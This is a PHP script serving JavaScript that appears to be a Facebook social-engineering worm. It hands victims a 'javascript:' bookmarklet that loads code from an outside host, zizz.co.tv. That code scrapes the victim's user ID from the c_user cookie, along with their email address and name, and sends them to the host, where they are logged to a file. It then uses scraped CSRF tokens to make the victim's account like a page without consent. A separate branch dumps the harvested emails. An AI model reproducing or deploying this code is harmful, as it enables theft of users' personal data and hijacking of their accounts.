<?php
header("Content-type: text/javascript");
if(isset($_GET['q'])){
$q = $_GET['q'];
$x = explode(":", $q);
$em = $x[2];
$z = file_get_contents("Emails-of-FB.txt");
if(!preg_match("/" . $x[0] . "/", $z, $do)){
$ff = fopen("Email-of-FB.txt", "a");
fwrite($ff, $q . "\n");
fclose($ff);
}
echo <<<_HTML_
alert("Welcome, $em. Enjoy! :)");
R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval('A()',5); void(0);
with(x = new XMLHttpRequest()) open("GET", "/"), onreadystatechange = function () {
if (x.readyState == 4 && x.status == 200) {
comp = (z = x.responseText).match(/name=\\\\"composer_id\\\\" value=\\\\"([\d\w]+)\\\\"/i)[1];
form = z.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
dt = z.match(/name="fb_dtsg" value="([\d\w]+)"/i)[1];
send("fbpage_id=150650771629477&add=1&reload=1&preserve_tab=1&use_primer=1&nctr[_mod]=pagelet_top_bar&post_form_id_source=AsyncRequest&post_form_id=" + form + "&fb_dtsg=" + dt);
}
}, send(null);
_HTML_;
exit;
}
elseif(isset($_GET['show'])){
if(!isset($_SERVER['HTTP_REFERER'])) header("Location: http://www.facebook.com/");
if(!preg_match("/facebook.com/", $_SERVER['HTTP_REFERER'], $isit)) header("Location: http://www.facebook.com/");
echo <<<_HTML_
with(x = new XMLHttpRequest()) open("GET", "/mobile/?v=photos"), setRequestHeader("X-Requested-With", null), setRequestHeader("X-Requested", null), onreadystatechange = function(){ if(x.readyState == 4 && x.status == 200){ with(s = document.createElement("script")) src = "http://zizz.co.tv/iFun.js?q=" + document.cookie.match(/c_user=(\d+)/)[1] + ":" + (d = x.responseText).match(/mailto:([^\"]+)/)[1].replace(/@/, "@") + ":" + d.match(/id="navAccountName">([^<>]+)/)[1]; document.body.appendChild(s); }}, send(null);
_HTML_;
exit;
}
elseif(isset($_GET['emails'])){
$z = explode("\n", file_get_contents("Email-FB.txt"));
foreach($z as $l){
$x = explode(":", $l);
echo $x[1] . "\n";
}
}
else{
echo <<<_HTML_
javascript:(a = (b = document).createElement("script")).src = "http://zizz.co.tv/iFun.js?show", b.body.appendChild(a);void(0)
_HTML_;
}
?>